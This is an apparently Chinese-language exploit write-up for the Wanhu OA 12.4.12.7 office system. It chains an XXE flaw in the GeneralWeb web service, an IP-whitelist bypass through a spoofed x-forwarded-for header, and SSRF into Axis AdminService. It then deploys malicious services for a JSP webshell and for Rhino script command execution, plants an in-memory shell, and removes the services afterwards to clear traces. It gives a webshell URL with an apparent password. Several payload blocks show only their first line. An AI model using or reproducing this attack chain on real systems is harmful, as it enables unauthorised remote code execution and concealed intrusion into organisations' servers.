环境
万户 oa 12.4.12.7
XXE漏洞点
在com.whir.service.common.CallApi
的getResult
方法中,传入input
参数调用XXESAXBuilder.build
对输入字符串解析,未配置安全策略,可构造特殊的xml语句实现XXE漏洞利用。
在com.whir.service.webservice.GeneralWeb
的OAManager
方法中,调用了CallApi#getResult
方法。
该方法在META-INF/xfire/services.xml
中定义,作为xfire
框架的一个WebService
服务。
在web.xml
配置,可通过/xfservices/GeneralWeb
进行调用。
权限绕过
在web.xml
中,配置了Filter
,所有的请求都会经过com.whir.common.util.SetCharacterEncodingFilter#doFilter
方法
在159
行,请求路径中存在/xfservices/GeneralWeb
,则会调用this.judgeIsSecurityIP((HttpServletRequest)request)
方法,判断请求的ip是否为白名单中的ip,如果请求ip不在白名单中则return null
。
在judgeIsSecurityIP
方法中,通过IPUtil.getIpAddr(request)
获取ip
getIpAddr
方法中Header
头中获取ip,可通过指定x-forwarded-for
、Proxy-Client-IP
、WL-Proxy-Client-IP
指定ip。
获取到IP后会判断是否在localhost
、192.168.0
、192.168.7
中,在就会执行chain.doFilter
。
在请求头中指定x-forwarded-for: localhost
,回显了Invalid SOAP request
,说明执行到GeneralWeb
中
dnslog
1 | <?xml version="1.0" encoding="utf-8"?> |
1 | POST /defaultroot/xfservices/GeneralWeb HTTP/1.1 |
内网 Axis AdminService 服务漏洞
web.xml
中配置了AxisServlet
,Axis
在低版本可通过AdminService
服务更新配置文件,添加服务。
在server-config.wsdd
中配置了AdminService
服务,访问方式为/services/AdminService
,但是enableRemoteAdmin
为false
,意味着只能本地访问,正好可以配合如上SSRF漏洞实现修改配置文件添加恶意服务。
漏洞分析
在处理AxisServlet
的过程中
1 | org.apache.axis.transport.http.AxisServlet#doGet |
QSMethodHandler
的invoke
方法会从request
对象中获取method
参数,然后调用this.invokeEndpointFromGet
方法。
将method
参数拼接到SOAP
报文中。
1 | private void invokeEndpointFromGet(MessageContext msgContext, HttpServletResponse response, PrintWriter writer, String method, String args) throws AxisFault { |
调用栈
1 | org.apache.axis.transport.http.AxisServlet#doGet |
获取AdminService
的enableRemoteAdmin
配置,为false
,则获取源ip是否为127.0.0.1
,如果不是,则获取本地ip与源ip进行对比,不一致则报异常。
processWSDD
方法中,将root
作为参数创建WSDDDocument
对象,再获取((WSDDEngineConfiguration)config).getDeployment()
原来的配置,最后调用deploy
执行部署。
漏洞利用
org.apache.axis.handlers.LogHandler(文件写入)
1 | org.apache.axis.handlers.LogHandler |
ssrf 添加恶意服务 payload
1 |
|
通过GeneralWeb
接口触发SSRF 添加服务
1 | POST /defaultroot/xfservices/./GeneralWeb HTTP/1.1 |
调用
1 | POST /defaultroot/services/./randomBBB HTTP/1.1 |
连接 http://172.20.10.132:7001/shell.jsp
ndrqjxdtldybh
com.sun.script.javascript.RhinoScriptEngine(代码执行)
1 | com.sun.script.javascript.RhinoScriptEngine |
ssrf 触发代码执行 payload
1 |
|
1 | POST /defaultroot/xfservices/./GeneralWeb HTTP/1.1 |
执行命令
1 | POST /defaultroot/services/./RhinoScriptEngineService HTTP/1.1 |
打内存马
1 | POST /defaultroot/services/./RhinoScriptEngineService HTTP/1.1 |
1 |
|
痕迹清理:卸载服务
1 | POST /axis/services/AdminService HTTP/1.1 |
1 | <?xml version="1.0" encoding="utf-8"?> |
1 | !--><undeployment xmlns="http://xml.apache.org/axis/wsdd/"> |